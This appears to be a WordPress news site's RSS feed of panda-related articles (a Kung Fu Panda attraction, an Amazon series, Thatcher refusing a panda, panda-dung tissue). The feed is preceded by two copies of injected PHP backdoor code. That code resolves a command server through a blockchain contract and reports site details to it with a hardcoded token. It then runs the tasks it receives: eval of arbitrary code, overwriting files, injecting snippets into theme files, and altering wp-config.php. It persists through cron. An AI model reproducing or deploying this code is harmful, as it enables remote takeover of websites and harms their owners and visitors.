// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Panda – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Wed, 06 Jun 2018 22:44:24 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Panda – Brief News https://briefnews.eu 32 32 First Look at Universal Studios Hollywood’s New Kung Fu Panda: The Emperor’s Quest Attraction https://briefnews.eu/first-look-at-universal-studios-hollywoods-new-kung-fu-panda-the-emperors-quest-attraction/ https://briefnews.eu/first-look-at-universal-studios-hollywoods-new-kung-fu-panda-the-emperors-quest-attraction/#respond Wed, 06 Jun 2018 22:44:24 +0000 http://briefnews.eu/first-look-at-universal-studios-hollywoods-new-kung-fu-panda-the-emperors-quest-attraction/ kung fu panda the emperor's quest

Kung Fu Panda will be bringing his brand of awesome to the Universal Studios Hollywood theme park. The DreamWorks Theatre Featuring Kung Fu Panda is opening this summer to help you learn how to master your destiny, and maybe embark on your own quest. Replacing Shrek 4-D, the new Kung Fu Panda: The Emperor’s Quest attraction is a multi-sensory and immersive experience that a lucky few got to experience before it opens later this month.

Coming Soon was one of the lucky few to tour of the Kung Fu Panda: The Emperor’s Quest attraction before it opens at Universal Studios Hollywood on June 15, 2018. They shared a few details, as well as a few incredibly cool images from the theme park ride.

Kung Fu Panda The Emperor’s Quest First Look



Kung Fu Panda: The Emperor’s Quest is located near the front of the park, right before you hit the Wizarding World of Harry Potter, Coming Soon writes. The attraction sits in the newly built Dreamworks Theatre which boasts “Mediterranean architecture…a studio garden-patio environment, custom tile work, and a studio marquee out front.”

“Guests will first enter the theater lobby for a pre-show,” Coming Soon writes. “An animated, slumbering Pinocchio will mutter one-liners in his sleep as people enter; there will be awards for various DreamWorks productions on display; and the Magic Mirror will hang on the wall.”

The DreamWorks Theatre Featuring Kung Fu Panda isn’t limited to Kung Fu Panda — the theater will host a whole bevy of DreamWorks characters, including the displaced Shrek. Universal creative director Jon Corfino told Coming Soon that LED panels featuring DreamWorks characters will grace the walls, and show fun scenes of Po and Shrek arguing (Po wins, of course).

But the best part of the attraction: No 3D glasses are needed. Instead, the show uses projection-mapping to create an immersive 180 degree film. About 241 seats are available in the theater, each responsive to the film playing. Head over to Coming Soon for a full account of the attraction.

Here is the summary of the attraction per a press release:

“On the morning of The Emperor’s Great Feast of Heroes, dragon warrior Po embarks on a wild and perilous mission to deliver the rare and precious Liquid of Limitless Power to the Palace, while enlisting guests to join him on the exciting adventure filled with raging rapids, river pirates, awesome magic and Kung Fu.”

Kung Fu Panda: The Emperor’s Quest officially opens at Universal Studios Hollywood on June 15, 2018.

The post First Look at Universal Studios Hollywood’s New Kung Fu Panda: The Emperor’s Quest Attraction appeared first on /Film.

]]>
https://briefnews.eu/first-look-at-universal-studios-hollywoods-new-kung-fu-panda-the-emperors-quest-attraction/feed/ 0
New ‘Rocky and Bullwinkle’ Series Heads to Amazon Along with Another ‘Kung Fu Panda’ Show https://briefnews.eu/new-rocky-and-bullwinkle-series-heads-to-amazon-along-with-another-kung-fu-panda-show/ https://briefnews.eu/new-rocky-and-bullwinkle-series-heads-to-amazon-along-with-another-kung-fu-panda-show/#respond Sun, 15 Apr 2018 19:28:00 +0000 http://briefnews.eu/new-rocky-and-bullwinkle-series-heads-to-amazon-along-with-another-kung-fu-panda-show/ The Adventures of Rocky and Bullwinkle Trailer

While adults may like having an expansive library of titles to choose from when it’s time to relax on the couch, let’s not forget about the stay-at-home parents who need a variety of streaming programming to keep their kids occupied for a bit so they can just have a moment of piece of quiet. Amazon has two new additions to help spice things up for your kids on the small screen.

The Adventures of Rocky and Bullwinkle is heading to Amazon, and the first trailer for the update of the classic cartoon has arrived online. Plus, there’s a new Kung Fu Panda animated series heading to the subscription service too.

Watch The Adventures of Rocky and Bullwinkle Trailer

Here’s the official synopsis for the new series coming to Amazon next month on May 11:

The world’s best-known flying squirrel and talking moose are back in a serialized comedy about the two goofball best friends who routinely find themselves thrust into harrowing situations but end up saving the day time and again. As Rocky (Tara Strong) and Bullwinkle’s (Brad Norman) innocent and silly ambitions to become rock stars or find lost treasure end up dovetailing with Fearless Leader’s (Piotr Michael) sinister plans to take over the world, our heroes are set on a collision course with his notorious superspies Boris Badenov (Ben Diskin) and Natasha Fatale (Rachel Butera). Daran Norris narrates the series executive produced by Scott Fellows and Tiffany Ward, daughter of the original series producer Jay Ward.

This looks distinctly different from the classic adventures of Rocky and Bullwinkle, both in animation style and in the kind of stories being told with the characters. Sure, Boris and Natasha are still involved as the villains of the series, but this series looks far more action-packed and wild than the original show. Of course, cartoons were much different in the early 1960s when the original Rocky and Bullwinkle series was popular, and kids need a little more stimulation to keep their attention nowadays.

Kung Fu Panda: The Paws of Destiny

In addition, DreamWorks Animation is also bringing a new Kung Fu Panda series to Amazon called Kung Fu Panda: The Paws of Destiny. This time Po has become the master as he must teach four panda kids who have stumbled upon a mystical cave beneath Panda Village, accidentally absorbing the chi of ancient and powerful kung fu warriors known as the Four Constellations. Endowed with a new purpose, these four young warriors must keep the world safe from an evil force.

It doesn’t sound like Jack Black will be back for this series, but that’s not surprising since he also didn’t reprise the role in the Nickelodeon animated series Kung Fu Panda: Legends of Awesomeness. We actually don’t know who any of the voice talents in the series will be, but we’ll find out when we get closer to the series debut sometime later this year.

The post New ‘Rocky and Bullwinkle’ Series Heads to Amazon Along with Another ‘Kung Fu Panda’ Show appeared first on /Film.

]]>
https://briefnews.eu/new-rocky-and-bullwinkle-series-heads-to-amazon-along-with-another-kung-fu-panda-show/feed/ 0
Margaret Thatcher refused to share a flight with a panda, declassified documents reveal https://briefnews.eu/margaret-thatcher-refused-to-share-a-flight-with-a-panda-declassified-documents-reveal/ https://briefnews.eu/margaret-thatcher-refused-to-share-a-flight-with-a-panda-declassified-documents-reveal/#respond Fri, 29 Dec 2017 09:31:45 +0000 http://briefnews.eu/margaret-thatcher-refused-to-share-a-flight-with-a-panda-declassified-documents-reveal/

A panda missed out on a transatlantic first class flight with Margaret Thatcher after she refused to accommodate him in the back of her Concorde, because they are not “happy omens” for politicians, newly released files show.

Lord Zuckerman, president of the London Zoological Society, suggested that Chia Chia the panda could share the Prime Minister’s flight to Washington in 1981. Thatcher was going to America for her first summit with US President Ronald Reagan.

Washington’s Smithsonian Institution had asked to borrow Chia Chia to mate it with US-based Ching Ching. Zuckerman contacted Number 10 because he felt the publicity stunt could have aided the US and UK’s much-valued “special relationship.”

Read more

Margaret Thatcher © Kieran Doherty

But Thatcher’s private secretary, Clive Whitmore, replied: “[Thatcher] has commented that she is not taking a panda with her – ‘Pandas and politicians are not happy omens!’”
The National Archives file also showed Thatcher’s initial appalled response. On a briefing note about the idea, she had written in blue felt tip pen: “I am not taking a panda with me.” To emphasize her point, she underlined the word “not” twice and also underlined the word “me.”

“Lord Z knows more about pandas than I do – I am sure he can arrange these things,” she added.

Thatcher’s aversion may have reflected a reluctance to imitate her predecessor, Ted Heath, who brought back pandas from China, her dislike of manipulative political stunts, or, possibly, a deeper antipathy towards the slow-moving creatures.

The following year, Thatcher expressed a weary acceptance that more money would have to be given to London Zoo to save it from closure. “The zoo is a British institution,” the prime minister wrote in another letter. “I fear there will have to be a further interim grant.”

The released files detail years of attempts by the Zoo to get more money from the government as it battled dwindling attendances and rising costs.

Let’s block ads! (Why?)

RT – Daily news

]]>
https://briefnews.eu/margaret-thatcher-refused-to-share-a-flight-with-a-panda-declassified-documents-reveal/feed/ 0
Revo-loo-tionary tissue: Panda poop turned into luxury paper in China https://briefnews.eu/revo-loo-tionary-tissue-panda-poop-turned-into-luxury-paper-in-china/ https://briefnews.eu/revo-loo-tionary-tissue-panda-poop-turned-into-luxury-paper-in-china/#respond Wed, 20 Dec 2017 08:40:44 +0000 http://briefnews.eu/revo-loo-tionary-tissue-panda-poop-turned-into-luxury-paper-in-china/

Chinese businessmen have finally found a way to make money from dung – producing luxury tissue paper from panda poop. True panda fans will have to pay up to 10 times more than for usual tissue.

Dung from the iconic Chinese bears is now being used to make a bizarre line of napkins, tissues, and toilet paper, local media report. Panda droppings are collected from the world’s largest panda sanctuary – the China Conservation and Research Center for the Giant Panda – and sent to the Sichuan Jianwei Fengsheng Paper Company.

“Pandas get what they want and we do too. It’s a win-win,” the company’s chairman, Yang Chaolin, said. The ‘Panda poo’ line is already on sale, and if you dare try it, be prepared to pay 43 yuan (US$ 6.50) for one box of tissue – more than 10 times the cost of regular tissue. The producer claims that the item is absolutely hygienic, as the waste goes through a complex manufacturing process, including washing, high-temperature sterilization, and bacteria testing.

An adult giant panda usually produces more than 10kg of dung per day after consuming up to 15kg of bamboo, Huang Yan, a researcher at the panda sanctuary in Dujiangyan, Sichuan Province, says. The droppings mainly consist of broken bamboo leaves – known as ‘green balls’ by the keepers. He added that the pandas can also generate around 50kg of bamboo residue per day when they eat, and “turning this into tissue offers a perfect solution for us to deal with [the] waste.”

Let’s block ads! (Why?)

RT – Daily news

]]>
